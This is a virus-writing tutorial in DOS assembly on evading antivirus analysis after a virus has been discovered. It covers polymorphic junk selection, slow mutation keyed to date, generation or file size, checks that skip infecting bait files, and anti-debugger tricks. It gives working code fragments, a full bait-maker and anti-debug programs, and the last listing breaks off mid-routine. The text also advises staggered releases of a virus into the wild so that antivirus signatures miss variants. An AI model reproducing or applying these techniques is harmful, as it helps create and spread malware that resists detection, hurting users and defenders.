POST - DISCOVERY - STRATEGIES
By Sepultura
-USE-ANARCHY-TO-GET-WHAT-YOU-WANT-

                                    Introduction

         Most virii these days, take many Pre-Discovery precautions. This
      simply means that they take precautions to avoid discovery, assuming the
      virus has not already been discovered.  Common examples of Pre-Discovery
      Stratagies are  File Stealth,  Sector Stealth,  and MCB stealth (i.e any
      stealth).  These mechanisms are used to stop the virus being discovered,
      but once it has been discovered,  and is in the hands of the AV, they're
      essentially useless. It is only a matter of days (or even hours) until a
      suitable scan string or algorithm has been determined,  for inclusion in
      to there AV programs.

              There is how ever, a solution: POST DISCOVERY STRATEGIES.  These
      are mechanisms  that instead of serving the  purpose of hiding the virus
      from detection, make the virus harder to analyse,  and hence determine a
      scan string or detection algorithm.  To be entirely honest, the previous
      statement is not completely correct - in order to take advantage of  any
      of these methods your virus can not have a scan string - without atleast
      polymorphism, Post Discovery Strategies ARE USELESS.  This document will
      be divided in to three main sections:   Polymorphism
                                              Anti-Bait Techniques
                                              Anti-Debugger Techniques.

              I have decided to do it in that particular order,  as it follows
      my master scheme,  which in my  opinion takes maximum advantage of  Post
      Discovery Strategies, and which I will outline throughout this document.

              I have supplied example code fragments throughout this document,
      several full programs in the Anti - Debugger section,  as well as a bait
      maker in the Anti-Bait section, so you can test your Anti-Bait routines.

Polymorphism
-I-USED-THE-ENEMY-I-USED-ANARCHY-

              This section  is not  intended to  tell you  what a  polymorphic
      engine is,  nor  will it tell you  how to code one.  If  you do not know
      either of these, you should read this when you do,  or alternatively you
      could read this,  and take the explained methods in to account  when you
      do code one.

              The thing  you have  to remember  is that  the AV people need to
      devise an alogrithm that will detect near to 100% of their samples,  but
      at the same time, have only a small number of false positives. Your job,
      is ofcourse, to stop them from doing this.

                               Polymorphism: The Obvious

              One of the most obvious  things that would you help in your Post
      Discovery Strategies, is to make the decryptors and junk as varied as is
      possible. This way, they cannot use an algorithm that traces through the
      code, and concludes that the file is not infected, as soon as an  opcode
      is encounted that can't be generated by your engine. What might not seem
      to obvious, is that although your engine should be able to CREATE a wide
      variety of junk instructions,  it should not USE a  wide variety of junk
      instructions in each decryptor.  This might seem strange,  but it can be
      very useful in delaying the AV's efforts.  This is because there are two
      methods that the AV will use to analyse your engine:

             1. They will disassemble the virus and analyse the engine, to see
             what it can generate in all possible cases.

             2. They will infect 10s of thousands of bait files to see what it
             generates in all possible cases.

              The first of these can be countered by keeping the actual engine
      encrypted,  independently of the virus,  and then  keeping the decryptor
      protected  -  using the  methods outlined in  Section 3 (Anti - Debugger
      Techniques).

              The  second  method can be  countered using the  techniques that
      will be discussed in this section (Polymorphism), and Section 2  (Anti -
      Bait Techniques).

              By  using only a very small variety of the large number of  junk
      instructions  that your engine can generate,  when the AV people look at
      the sample bait files,  they will only see a small selection of the junk
      that your virus can really create. Because your polymorphic engine is so
      heavily encrypted / armoured, they will not have time to disassemble it,
      and will have to make their judgements based on the bait files. However,
      since the decryptors will only have  a limited selection of all possible
      cases,  they could easilly make the mistake of basing their algorithm on
      just those decryptors,  and release an incomplete algorithm.  Of  course
      they will not realise their mistake until it is to late.  Let us look at
      the following code as an example:

      ------------------------------------------------------------------------
      ;Please note that this is simply a code fragment.  junk? are supposed to
      ;be sub-procedures that create different junk opcodes, while get_rand is
      ;supposed  to  be  a sub-procedure  that returns a  random number  in AX
      ;between 0 and AX. It is assumed that ES = DS = CS.

      choose_junk_routines:
              mov     cx,5                    ;This code should be run only once
              mov     ax,0Ah                  ;when the virus installs it self T.
              call    get_rand                ;It will select 5 out of 15 junk
              add     ax,ax                   ;routines to call for the decrypto.
              xchg    si,ax                   ;Because it is only run once, all
              add     si,offset main_junk_tbl ;decryptors will only use those ju
              mov     di,offset junk_tbl      ;routines 'til the system is rebood
              rep     movsw                   ;and the virus re-installed.

              ...

      main_junk_tbl:                          ;This is a table, listing all
              dw      offset junk0            ;possible junk routines.
              dw      offset junk1
              dw      offset junk2
              dw      offset junk3
              dw      offset junk4
              dw      offset junk5
              dw      offset junk6
              dw      offset junk7
              dw      offset junk8
              dw      offset junk9
              dw      offset junkA
              dw      offset junkB
              dw      offset junkC
              dw      offset junkD
              dw      offset junkE

      junk_tbl:                               ;This is a table, to store the 5 jk
              dw      0,0,0,0,0               ;routines to actually be used.

              ...

      put_junk:
              mov     ax,4                    ;This routine when, called will
              call    get_rand                ;generate 1 junk instruction.
              add     ax,ax                   ;It will call 1 of the 5 routines
              xchg    si,ax                   ;stored in junk_tbl.
              lodsw
              call    ax
              ret
      ------------------------------------------------------------------------

              The above code fragment,  will ensure that all files infected in
      any 1 session, will only use 5 out of the 15 possible junk instructions.

                             Polymorphism: Slow Mutation

              The above techniques work well,  but can be even more effective,
      when used in conjucntion  with slow mutation.  Slow  Mutation  basically
      means that instead of making certain descisions based on random numbers,
      you  make the  descisions based on  relatively static values.  The  most
      common values used for this, are from the date (i.e. the month or day of
      the  month).  For  example,  let  us imagine  that  the  sub - procedure
      'choose_junk_routines' in the previous example, was replaced with this:

      ------------------------------------------------------------------------
      choose_junk_routines:
              mov     ah,2a                   ;ah=2a/i21 (get system date)
              int     21
              mov     dl,0
              xchg    dh,dl
              xchg    dx,ax
              cwd                             ;ax=month, dx=0
              mov     cx,6
              div     cx                      ;divide month by 6
              xchg    dx,ax                   ;ax = remainder (i.e. 0 - 5)
              add     ax,ax
              xchg    si,ax
              add     si,offset main_junk_tbl
              mov     di,offset junk_tbl
              mov     cx,5
              rep     movsw
      ------------------------------------------------------------------------

              The advantage of using this method, is that the same set of five
      junk routines will be used for a ENTIRE MONTH. With the previous example
      if the AV was to make some bait files, and look at them,  and think that
      your virus only generated five different junk instructions, and then ran
      the bait maker again, another time,  after resetting the system,  he/she
      would get bait file with (probably) a different set of junk instructions
      in the decryptor. Because of this, he/she would probably catch on.  This
      is important to note, because they will have to make a set of bait files
      to devise the algorithm,  and then at least  another set to test it.  If
      you based the 5 instructions on the month, and armoured the choose_junk_
      routines procedure, then they would get the same 5 instructions, because
      they would be all produced in the same month, and would not easily catch
      on.  Other things you should base upon  slow mutation techniques include
      things such as what registers to use,  the looping method,  the encrypt/
      decrypt method, and the length of the decryptor. This way,  they have to
      reboot the computer each time,  and set a new date,  to see all possible
      combinations. Consisdering there are thousands of  bait file to be made,
      this also means that there are thousands of resets to be done!

              Another thing you could base slow mutation descisions on,  is  a
      generation counter.  This is very effective,  because if the AV runs  an
      infected file,  and then because the virus is  TSR  in memory,  runs the
      bait creator, to create some infected samples, all the infected samples,
      will be of the same generation.  Even if the AV people think of changing
      the date, the fact that the virus changes some aspects of itself on each
      generation, will not be so obvious. This is especially true if the virus
      makes the changes on,  say every fourth generation,  instead of each and
      every generation. For example:

      ------------------------------------------------------------------------

              inc     cs:word ptr generation  ;This should be run once,
                                              ;at installation.

              ...

      ;This sub-procedure will choose what method to use to decrement the
      ;count register. It will choose one of the 8 possible procedures to
      ;call from the "decrement_tbl" table. Instead of choosing a method at
      ;random, it divdes the generation by 8, and then takes the modulos of
      ;(GENERATION / 8) / 8, to choose which procedure to use. In short, the
      ;decrement method will only change every 8th generation. The AV do not
      ;spend enough time to see all possible methods, as they would have to
      ;look at 64 different generations. They will most likely look at only
      ;one or two.

      choose_decrement_method:
              mov     ax,0
      generation      equ     $-2             ;Generation counter starts at 0

              shr     ax,3                    ;Divide Generation count by 8
              and     ax,7                    ;get number between 0 and 7
              add     ax,ax
              xchg    si,ax
              add     si,offset decrement_tbl
              lodsw
              call    ax
              ret

              ...

      decrement_tbl:                          ;this is supposed to be a table of
              dw      offset code_dec_reg     ;all the possible procedures you c
              dw      offset code_sub_reg_1   ;use to decrement the count regist.
              dw      offset code_add_reg_negative_1
              dw      offset code_clc_sbb_reg_1
              dw      offset code_stc_sbb_reg_0
              dw      offset code_clc_adc_reg_negative_1
              dw      offset code_stc_adc_reg_negative_2
              dw      offset code_inc_dec_dec_reg
      ------------------------------------------------------------------------

              Of course,  you do not have to base  something as trivial as the
      method of decrement on the  generation counter,  and could  instead base
      something more important like the actual method of decryption on it.

              Also,  if you wanted to be really sly  (and I know you do),  you
      could use the above method, but then release the virus in the wild, with
      its generation counter set to something like 16.  This way,  no one will
      see the first 2 methods,  until the generation counter has carried over.
      About a week after releasing it, you could release it somewhere else, so
      that the AV people will get the first specimen, and their algorithm will
      be missing the first two methods, while the second infection you release
      can have the counter  set to 0,  so that the decryptors  using the first
      two methods will be in the wild,  and will spread, before the AV realise
      their mistake.

              Another thing you could base your slow poly on,  is the file you
      are infecting.  For example,  let us imagine you based the above example
      on the SIZE of the file to be infected, divided by 1000, rather then the
      GENERATION divided by 8.  Since the bait files  will be of  the same  or
      similar size, little to no change will be seen. If a different file of a
      different size was infected however,  you would have a totally different
      decryptor!

                      Polymorphism: Make No Two Conditions Dependant

              One of the biggest mistakes you could make when coding an engine
      is making two conditions dependant on the same thing. For example let us
      imagine that you made both the  index register used,  and the decryption
      method used  dependant on the month. This could possibly mean, that when
      XOR encryption is used, you can guarantee BX is the index register,  and
      when ADD is used SI will be the index register. This way,  all they have
      to do is check for a  XOR [SI],?? instruction or a ADD [BX],??.  If  you
      made this mistake,  and had four index registers,  and  four  decryption
      methods,  the scanner need only to check for four possible instructions.
      However,  if these were decided  on totally  independant criteria,  they
      would have to check for 16 different instructions, increasing the chance
      of false positives. For another example, let us look at the following:
      ------------------------------------------------------------------------

      code_jmp:       mov     ax,3f           ;this code will generate a random
                      call    get_rand        ;conditional jump, to a random offt
                      mov     ah,al           ;between 0 adn 3f bytes from the
                      or      al,70           ;jump. Note that the conditional
                      stosw                   ;jumps are 70h -> 7fh.
      ------------------------------------------------------------------------

              The above example will always generate,  a working,  conditional
      jump. It does however have a fairly obvious flaw.  If the jump opcode is
      70h then the offset of the jump will be 0, 10h, 20h, or 30h. If the jump
      opcode is 70h then the offset of the jump will be 1, 11h,  21h,  or 31h.
      This will remain true for all of 70h to 7fh. This is very dangerous,  as
      a scanner could something like this in its algorithm:
      ------------------------------------------------------------------------

      ;This code fragment, is assumed to be part of a scanner that is tracing
      ;through the code it scans. It is assumed that DS:SI points to the current
      ;instruction being processed.

                      lodsw
                      cmp     al,70
                      jb      not_cond_jmp
                      cmp     al,7f           ;checks if we are dealing with a
                      ja      not_cond_jmp    ;conditional jump.

                      and     ax,0f0f         ;If the jump was generated with th
                      cmp     al,ah           ;above example, AL will always = A
                      jne     file_not_infected

      not_cond_jmp:   <DO THE NEXT CHECK>
      ------------------------------------------------------------------------

              As you can see,  if many things are dependant on each other,  an
      algorithm could be used that uses techniques like the above,  and if all
      rules are followed, safely assume the file was infected.  To  avoid  the
      above check, the conditional jump coder should be something like this:
      ------------------------------------------------------------------------

                      mov     ax,3f
                      call    get_rand
                      mov     bl,al
                      mov     al,0f
                      call    get_rand
                      or      al,70
                      mov     ah,bl
                      stosw
      ------------------------------------------------------------------------

              As you can see, in the above example, the  offset of the jump is
      totally independant of the jumps opcode.  This will  make the  detection
      algorithm alot harder to devise.

Anti-Bait Techniques
-HATE-YOUR-ENEMIES-

              By using the methods  explained in the previous section,  we can
      safely  say that the  AV can not  simply set the bait  maker to generate
      10,000  bait files,  with the virus in memory,  and get an  accurate and
      complete of what is necessary. Instead they must use many varying files,
      reboot the system thousands of times to change the date, and fiddle with
      the generation counter,  which will significantly slow things down.  But
      let us take  things a step further:  let us imagine that the virus won't
      even infect the  files in the first place.  This  would  simply  involve
      putting  the candidate file  through a number of tests,  and if it fails
      any of them,  saying the file  could be a bait,  and not infecting them.
      This section simply looks at what some of these test could entail.

                         Anti-Bait Techniques: The Obvious

              The are two very obvious and easy test your virus _SHOULD_ have:

                      1. It should not infect new files.
                      2. It should not infect small files.

              New files should not be infected, as the files created by a bait
      maker will usually look new.  Simply grab the current date,  and compare
      it to the date stamp of the file. It is the same? Well then dont infect!
      It should be noted that this is easilly defeated, if the bait maker sets
      the files date stamp to a random date, before closing it.

              The files created by bait makers,  will usually be fairly small,
      so small files should be avoided. I would recommend that you avoid files
      smaller then between 5,000 and 10,000 bytes.  The smaller you make  this
      limit,  the less chance  there is that a legitimate file will be wrongly
      be left uninfected, but it is also more likely that a bad bait file will
      wrongly be infected. By making the limit larger,  the greater the chance
      there is that a legitimate file will be wrongly be left uninfected,  but
      its also more likely that a bait file will correctly be left uninfected.
      High limit or Low limit? The choice is yours... This  could  easilly  be
      defeated if the bait maker created files which were, say,  50,000 bytes.
      This size is obviously far to large to avoid, as it is larger then  many
      legitimate programs.  You should also remember however that 10,240 files
      at 5,000 bytes will use 52 megabytes,  so if the bait files were  50,000
      bytes long, this figure would go upto 520 megabytes! Most test computers
      do not have such lard hard drives, so it is safe to assume that the bait
      files will be small.

              As the above two methods are so easy to implement,  I  will  not
      bother to supply any example code.

                      Anti-Bait Techniques: Avoid Digital File Names

              Most bait makers  create filenames like '00000000.com'  followed
      by '00000001.com'. All the file are names composed of the characters '0'
      to '9'.  We could have a check in our virus,  to ensure that this is not
      true, and if it is, not infect the file, as shown below:
      ------------------------------------------------------------------------

      ;This code avoids file names composed entirely of digits. It is assumed
      ;that the file has already been opened, and that its file handle is in
      ;BX. get_sft_bx is assumed to be a sub-procedure that returns ES:DI pointi
      ;to the SFT entry of the handle in BX (the file to be infected).

              call    get_sft_bx
              mov     si,di
              add     si,20           ;File names in at offset 20h of SFT
              mov     cx,8            ;8 characters in name (padded with spaces)
              cld                     ;increment SI on LODSB

      check_name:
              es:lodsb
              cmp     al,'0'
              jb      name_safe
              cmp     al,'9'
              ja      name_safe       ;character is not digit, so it is safe

              cmp     al,20           ;check for space if equal, end of name has
              je      not_safe        ;been reached, with only digits encounters
                                      ;which means it is possibly bait.

              loop    check_name      ;check next character

      not_safe:
              jmp     exit_infect     ;end of name reached with only digits so
                                      ;do not infect

      name_safe:
              <DO NEXT BAIT CHECK or CONTINUE WITH INFECTION>
      ------------------------------------------------------------------------

              This method  could easilly be defeated by  using file names like
      'AAAAAAAA.COM' instead of '00000000.com'.

                Anti-Bait Techniques: Avoid Consecutive File Names

              Many people consider this method overkill,  but it is  extremely
      effective,  if you are serious about your Post-Discovery-Strategies.  It
      works by checking if the currents file to be infected, has a consecutive
      file name of the previous filename. For example, if the previous file to
      be infected was called 'AAAAAAAA.COM' you would not infect the next file
      if it was called 'AAAAAAAB.COM'. The easiest way to do this, is save the
      sum of the characters of the file name.  If the next file is consecutive
      to it, the sum will be the sum of the previous one + 1. i.e:

              'AAAAAAAA' = 'A' + 'A' + 'A' + 'A' + 'A' + 'A' + 'A' + 'A'
                         =  208h

              'AAAAAAAB' = 'A' + 'A' + 'A' + 'A' + 'A' + 'A' + 'A' + 'B'
                         =  209h

              Therefore, of the filename of your candidate file, and use it to
      check if the  next file  to be infected is consecutive.  If it is do not
      infect! Example:
      ------------------------------------------------------------------------

      ;This code avoids infecting files with consecutive filenames. It is assume
      ;that the file has already been opened, and that its file handle is in
      ;BX. get_sft_bx is assumed to be a sub-procedure that returns ES:DI pointi
      ;to the SFT entry of the handle in BX (the file to be infected).

              call    get_sft_bx
              mov     si,di
              add     si,20           ;File names in at offset 20h of SFT
              mov     cx,8            ;8 characters in name (padded with spaces)
              cld                     ;increment SI on LODSB
              xor     bx,bx
              mov     ah,0

      check_consecutive:
              es:lodsb
              cmp     al,20           ;check for space
              je      end_cc          ;if space, end of name rached
              add     bx,ax           ;add character to sum
              loop    check_consecutive

      end_cc: mov     ax,cs:last_sum  ;the sum of the last filename
              mov     cs:last_sum,bx  ;save the sum of this file name for next te
              inc     ax
              cmp     ax,bx
              je      dont_infect

              <DO NEXT BAIT CHECK or CONTINUE WITH INFECTION>
      ------------------------------------------------------------------------

              The above code is fairly lengthy,  and messy, but it works!  You
      should also not infect a file,  if it is the same length as the previous
      file,  for obvious reasons.  This code could by defeated by incrementing
      filename by values other then 1,  or even by incrementing it by a RANDOM
      amount each time.

              To help you test your Anti-Bait code, I have put together a Bait
      Generator (Sepultura's Funky Bait Maker), which can be modified to  show
      how each of the above methods are defeated. Here is the complete source:
      ------------------------------------------------------------------------

      ;SFBM.ASM compile with A86
      ;This is a bait maker that in its original state, will fail to defeat all
      ;of the above mentioned techniques. However, by making the modifications
      ;described through out the code, all of the above techniques will fail
      ;miserably.

      ;By changing the Below EQUates, and (un)commenting certain code below, you
      ;can test the various technique described above, as well as any other Anti
      ;Bait Technique you think off..

      number_of_files equ     200             ;number of bait files to genrate

      file_length     equ     5000            ;length of bait file. Change this
                                              ;catchout virii that do not infect
                                              ;small files. (minimum 38, maximum
                                              ;65,279).

      first_character equ     '0'             ;Changing these two equates to 'A'o
      last_character  equ     '9'             ;'Z' will fool virii that check if
                                              ;the filename is entirely numbers.

      character_range equ     (last_character - first_character)+1 ;This is used
                                                              ;to calculate the
                                                              ;filename..

              radix   16

              org     100

              mov     ds,cs
              mov     ah,9
              mov     dx,offset gen_msg       ;prints intro message..
              int     21

              mov     cx,number_of_files      ;200 bait files

      file_loop:
              push    cx
              mov     dx,offset filename
              xor     cx,cx
              mov     ax,3c02                 ;CREATE/TRUNCATE "filename"
              int     21
              mov     bx,ax                   ;BX = Handle. I used a MOV, so
                                              ;AH stays = to 0

              mov     dx,offset bait
              mov     cx,file_length          ;file is 5000 bytes long

              ;Uncomment the IN, and ADD below, so the length of the bait become
              ;between FILE_LENGTH and (FILE_LENGTH + 255). This is to catchout
              ;virii that wont infect a file if its the same size as the last fi.
              ;in     al,40
              ;add    cx,ax

              mov     ah,40                   ;Write Bait Program to file..
              int     21

              ;Uncommenting the below CALL, will cause SFBM to set each file
              ;to a random date, before closing, avoiding virii which dont
              ;infect new files.
              ;call    set_date

              pop     cx

              mov     ah,3e                   ;Closes the file..
              int     21

              push    ds
              mov     ax,4b00                 ;This calls a execute of "filename
                                              ;i have set up no parameter tables
                                              ;so it will not actually execute, t
                                              ;the virus will intercept and infe.
              mov     dx,offset filename
              int     21
              pop     ds

              mov     ah,9
              mov     dx,offset done          ;prints:
              int     21                      ;DONE: XXXXXXXX.COM

              std
              mov     si,offset units
              mov     di,si

      next_character:
              mov     dl,1                    ;Add 1 to file name characters.
                                              ;(00000000 -> 00000001) etc..

              ;Uncommenting the code  below, will cause SFBM to add between
              ;2 and 5 to the file name characters. This will avoid virii that
              ;check for consecutive file names, as they are not incrementing by
              ;1 each time.
              ;cmp     si,offset units        ;Are we modifying a character othe
              ;jne     not_unit               ;If not, only add 1 to the charact
              ;in     al,40
              ;and    al,3                    ;Choose amount between 2 and 5 to
              ;add    dl,al                   ;add..
              ;inc    dx

      not_unit:
              lodsb
              add     al,dl                   ;Calculate Next File Name (increme)
              cmp     al,last_character + 1   ;Has it overflowed past
              jb      no_more_increase        ;last_character? If not continue..

              sub     al,character_range      ;else bring it back into range,
              ds:stosb
              jmp     short next_character    ;increment next char, and check fo
                                              ;overflow...

      no_more_increase:
              ds:stosb
              loop    file_loop       ;Do Next File (CX times)

              mov     ah,4c
              int     21

      set_date:                       ;Sub Procedure gives file random Date & Ti.
              in      ax,40           ;calculates the Year for Date stamp
              and     ax,0f
              xchg    dx,ax
              shl     dx,9

      get_month:                      ;calculates the Month for Date stamp
              in      ax,40
              and     ax,0f
              cmp     ax,0c
              ja      get_month
              or      ax,ax
              jz      get_month
              shl     ax,5
              or      dx,ax

      get_date:                       ;calculates the Day of Month for Date stam
              in      ax,40
              and     ax,1f
              or      ax,ax
              jz      get_date
              or      dx,ax           ;DX = DATE

      get_secs:                       ;calculates seconds of the Time Stamp
              in      ax,40
              and     ax,1f
              cmp     ax,1d
              ja      get_secs
              xchg    cx,ax

      get_minuits:                    ;calculates minuits of the Time Stamp
              in      ax,40
              and     ax,3f
              cmp     ax,3b
              ja      get_minuits
              shl     ax,5
              or      cx,ax

      get_hours:                      ;calculates hours of the Time Stamp
              in      ax,40
              and     ax,1f
              cmp     ax,17
              ja      get_hours
              shl     ax,0b
              or      cx,ax           ;CX = TIME

              mov     ax,5701         ;set DATE/TIME stamp
              int     21
              ret

      gen_msg         db      "- Sepulturas Funky Bait Maker -",0a,0d
                      db      "Generating Funky Bait Files...",0a,0d,"$"

      done            db      "DONE: "
      filename        db      7 dup (first_character)
      units           db      first_character
                      db      ".COM"
                      db      0,0d
                      db      "$"

      ;This is the .COM program that will be at the start of each Bait file.
      ;It is 38 bytes long. The rest of the file will just be padded with
      ;garbage from memory.

      bait:   call    bait_b
              db      'Sepulturas Funky Bait File!$'
      bait_b: pop     dx      ;DX = offset of bait message
              mov     ah,9
              int     21      ;print message
              int     20      ;exit

      ;END SFBM.ASM
      ------------------------------------------------------------------------

              The above Bait Maker can be very useful,  to test your Anti-Bait
      techniques. It is also quite useful, for its orginal purpose - analysing
      virii. Use it for either - AV - VX - they're all the same to me.

Anti-Debugger Techniques
-THE-MASTER-HIDES-BEHIND-THE-MASK-

              Ok, now the AV can not even  get your virus to infect their bait
      files,  and if they do finally manage,  they will have great problems in
      getting a complete,  accurate view of what they are dealing with.  There
      is two things they can do:

      1. Disassemble your Anti-Bait code,  and create a Bait maker to fool it.
      2. Disassemble your Polymorphic engine, and work out what to look for.

              Both of  the  above  can  be  defeated  by  using  Anti-Debugger
      Techniques.  The first is defeated by  keeping your Anti - Bait routines
      encrypted, and heavilly armoured, to prevent disassembly. The second can
      be defeated by using the same  methods on your polymorphic engine.  This
      section has been designed to tell you how to do it.

                    Anti-Debugger Techniques: The Obvious

              There are many simple and trivial ways to thwart debuggers. This
      document will deal mainly with more advanced methods. The simple methods
      outlined in this section can be seen in the code example of  "Using Your
      Anti-Debug Routines as the Decryption Key", later on in this document.

              Perhaps the most obvious way to kill a debugger, is to overwrite
      the Interrupt Vector  of  Interrupts 1 (Debug Single Step), and 3 (Debug
      Break Point). This can be defeated by simply skipping the instructions.
      Another thing you could do, is place an INT 3 in a long loop, which will
      cause the debugger to stop at the INT 3 each iteration,  which will stop
      the AV from simply proceeding through the loop.  This  is  very  easilly
      defeated by NOP'ing out the INT 3.

              Another thing to do, is turn of the keyboard. There are manyways
      to do this, but the simplest is:        IN      AL,20h ;Turn of Keyboard IRQ
                                              OR      AL,02
                                              OUT     AL,20

                                              <virus code>

                                              IN      AL,20   ;Enable Keyboard IRQ
                                              AND     AL,NOT 2
                                              OUT     AL,20

                 Anti-Debugger Techniques: Interrupt Replacement

              This technique involves replacing the vector of a  INTERRUPT 1/3
      with the interrupt off another interrupt, and calling that instead. This
      works especially well with INT 3, as it is only 1 byte long, and can not
      simply be replaced with the proper Interrupt. Here is an example of  INT
      replacement from the virus [H8urNMEs].  It changes INT 3 to point to the
      tunneled INT 21, and calls INT 3 for all DOS requests:
      ------------------------------------------------------------------------

              mov     ax,3503
              int     21

              mov     int_3_seg,es
              mov     int_3_off,bx

              lds     dx, site_traced_off
              mov     ax,2503
              int     21

              mov     ds,cs

              mov     ax,3524
              int     3

              mov     int_24_seg,es
              mov     int_24_off,bx
      ------------------------------------------------------------------------

              It simply makes INT 3 point to DOS,  and uses this fact to fetch
      the INT 24 vector.

             Anti-Debugger Techniques: INT 1 Tracing Destroys the Stack

             When tracing through code,  with INT 1,  the 6 bytes below SP are
      overwritten with the pushed returnig IP, CS, and Flags. There are 2 ways
      to take advantage of this fact.  The first is to PUSH a value on to  the
      stack, POP it, and then adjust SP and POP it again to see if it changes.
      If it has, the code has been traced. Here is an example:
      ------------------------------------------------------------------------

                      PUSH    AX
                      POP     AX
                      DEC     SP
                      DEC     SP
                      POP     BX              ;BX should point to the pushed AX.
                      CMP     AX,BX
                      JNE     CODE_IS_TRACED
      ------------------------------------------------------------------------

              The second  way is to store  a critigal value  like a Decryption
      key in SP. This value should also point to the code, and you should  NOT
      use any stack operations. This way,  if a debugger is running,  the code
      that SP  points to will  be overwritten.  Here is a  complete program to
      illustrate it. To make it run properly,  you must have to encrypt it.  I
      will not how you how.. If you can not work it out you should not even be
      reading this.  It also has the  added advantage of avoiding the TBAV '#'
      (decryptor) flag. Any way here it is:
      ------------------------------------------------------------------------
      ;STACK.ASM

              radix   16

      elength equ     (end - estart)/2

              org     100

              mov     bp,sp
              cli
              mov     sp,estart
              sti

              mov     bx,sp
              mov     cx,elength

      eloop:  xor     cs:[bx],sp      ;SP is decryption key.
              inc     bx
              inc     bx              ;If a Debugger is running,
              cli                     ;All the code after ESTART will be
              add     sp,6            ;overwritten.
              sti
              loop    eloop

      estart:
              cli
              mov     sp,bp
              sti

              mov     ah,9
              mov     dx,offset msg - 12
              add     dx,12
              int     21
              mov     ah,4c
              int     21

      msg     db      'Yeah!!$'

      end:

      ------------------------------------------------------------------------

      Anti-Debugger Techniques: Use Your Anti-Debug Routines as
      The Decrypt Key

              This is a lot easier to do then it sounds. Basically, all you have
      to do is retreive a byte from the Anti - Debugger routines each time,  and
      use it to modify your decryption routine in some manor. Of course the code
      you are decrypting must have been encrypted in a corresponding manner! Any
      way, here is a code fragment example:
      ------------------------------------------------------------------------

      ;This code LODSBs a byte from the Anti-Debug routine, on each iteration,
      ;and ADDs it to the XOR key. Because of this the AV can not simply NOP
      ;out the INT 3, and other traps in the Anti-Debug routine which is called
      ;on each iteration! DEC_START is assumed to be the offset of the start of
      ;the encrypted code, while DEC_LENGTH is the number of bytes to decrypt.

                      mov     dl,0aa  ;initial key.

      decrypt:        mov     di,offset dec_start
                      mov     cx,dec_length
                      mov     si,offset decrypt       ;offset of code to use
                                                      ;to modify decryption key.
      dec_loop:       lodsb                           ;AL=byte from anti-debug
                                                      ;routines

                      add     dl,al                   ;MODIFY KEY. If code has been
                                                      ;modified, the key will be
                                                    ;wrong.

                      xor     [di],dl                 ;decrypt
                      inc     di

                      call    anti_debug              ;kill debuggers.
                                                      ;this call cant be NOP'd out,
                                                      ;as it is part of the Decrypt
                                                      ;key.

                      cmp     si,offset end_ad        ;if SI has reached end of
                      jne     no_fix                  ;anti-debug code, reset it.
                      mov     si,offset decrypt

      no_fix:         loop    dec_loop

                      jmp     dec_start               ;JMP past Anti_Debug to
                                                      ;the newly decrypted code..

      Anti_Debug:     in      al,20   ;get IRQ status.
                      or      al,2    ;Disable IRQ 1 (keyboard)
                      out     20,al

                      int     3       ;stop the debugger on each loop (you cant
                      int     3       ;NOP these out!), note that when the debugger
                                      ;stops here, the keyboard will be disabled,
                                      ;so the can't do any thing!

                      push    ax
                      push    ds
                      xor     ax,ax
                      mov     ds,ax
                      xchg    ax,[4]  ;Kill INT 1
                      int     3       ;Fuck with their heads
                      xchg    ax,[4]  ;restore INT 1
                      pop     ds

                      mov     ax,offset ad_jmp        ;destination of JMP
                      push    ax
                      pop     ax
                      dec     ax
                      dec     ax      ;if this code was traced, AX will no longer
                      pop     ax      ;be equal to the JMP destination
                      jmp     ax
                      pop     ax
                      ret

              (BELOW CODE IS ENCRYPTED)
      dec_start:      in      al,20
                      and     al,NOT 2
                      out     20,al   ;Re-Enable Key board..

                      <REST OF VIRUS CODE>

      ------------------------------------------------------------------------

                      Anti-Debugger Techniques: The Running Line

              The last method, I am going to illustrate, is called the Running
      Line. It is VERY resistant to debuggers. It involves hooking INT 1,  and
      Decrypting each instruction _JUST BEFORE_ it's run, and Re-Encrypting it
      _STRAIGH AFTER_ it has been executed.  This way, only _1_ instruction at
      a time is decrypted in memory. Here is a fully working example.
      ------------------------------------------------------------------------

      ;RUNLINE.ASM

              radix   16

              org     100

              xor     ax,ax                   ;ax=0
              mov     es,ax                   ;es=ax=0
              mov     di,es:W[4]
              mov     si,es:W[6]              ;save int 1 vector
              mov     es:W[4],offset tracer
              mov     es:W[6],cs              ;int1 = cs:tracer
              mov     bp,sp
              pushf
              or      B[bp-1],1               ;set TRACE flag
              popf                            ;set it

              xor     dx,dx                   ;this serves no purpose, and
                                              ;is just here because the first
                                              ;instruction after setting the
                                              ;flag is not traced.

      ;**********************************************************************
      ;** The below data, is the Encrypted instructions. The INT 1 handler **
      ;** only decrypts instruction on WORD (EVEN) boundaries. It XORs the **
      ;** instruction (WORD) with its offset in CS (ie. it's IP when it's  **
      ;** run). Thats why each word is XOR'd with $ (it's position).       **
      ;**********************************************************************

              dw      01f0e   XOR     $       ;PUSH CS / POP DS
              dw      009b4   XOR     $       ;MOV AH,9h
              dw      0ba90   XOR     $       ;NOP / MOV DX,
              dw      offset msg              ;offset msg
              dw      021cd   XOR     $       ;INT 21h
              dw      0e589   XOR     $       ;MOV BP,SP
              dw      06680   XOR     $       ;AND B[BP+,
              dw      0feff                   ;FF],FE (turn off TRACE flag).

      last_enc        equ             $
              dw      0bb9d   XOR     $       ;POPF / MOV BX,
              dw      last_enc                ;LAST_ENC

              xor     cs:W[bx],bx             ;re-encrypt last instruction..

              mov     es:W[4],di
              mov     es:W[6],si              ;restore int 1 vector

              mov     ah,4c
              int     21

      ;**********************************************************************
      ;THINGS TO NOTE FROM THE ABOVE: Firstly, in the instructions
      ;       NOP
      ;       MOV     DX,OFFSET MSG
      ;the MOV DX opcode is on an odd boundary, and hence, the decryptor will
      ;not decrypt it. Secondly the 'DW OFFSET MSG' in MOV     DX,OFFSET MSG
      ;is not encrypted, because it it is data from another instruction, and
      ;therefore it will never be executed, and passed to the INT 1 handler.
      ;The same goes for the +FF(-1),FE in the AND B[BP-1],FE.

      ;**********************************************************************
      ;** The following procedure, is the work horse of this code. The CPU **
      ;** will call this INT 1 handler before each opcode as long as the   **
      ;** TRACE flag is set. Unlike most INT 1 handlers that you'll see in **
      ;** virii, this contains no defensive traps. This is because we are  **
      ;** tracing our own code, and not unknown (possibly hostile) code.   **
      ;** It retrieves the calling IP from the stack, and if it is odd,    **
      ;** exits. If even, it will re-encrypt the previous instruction, and **
      ;** decrypt the current one. It saves the calling IP, so that it can **
      ;** re-encrypt it when it is called for the next instruction.        **
      ;**********************************************************************

      tracer:
              push    bp                      ;save BP
              mov     bp,sp                   ;BP=SP for reference point of stack.
              push    si                      ;save SI
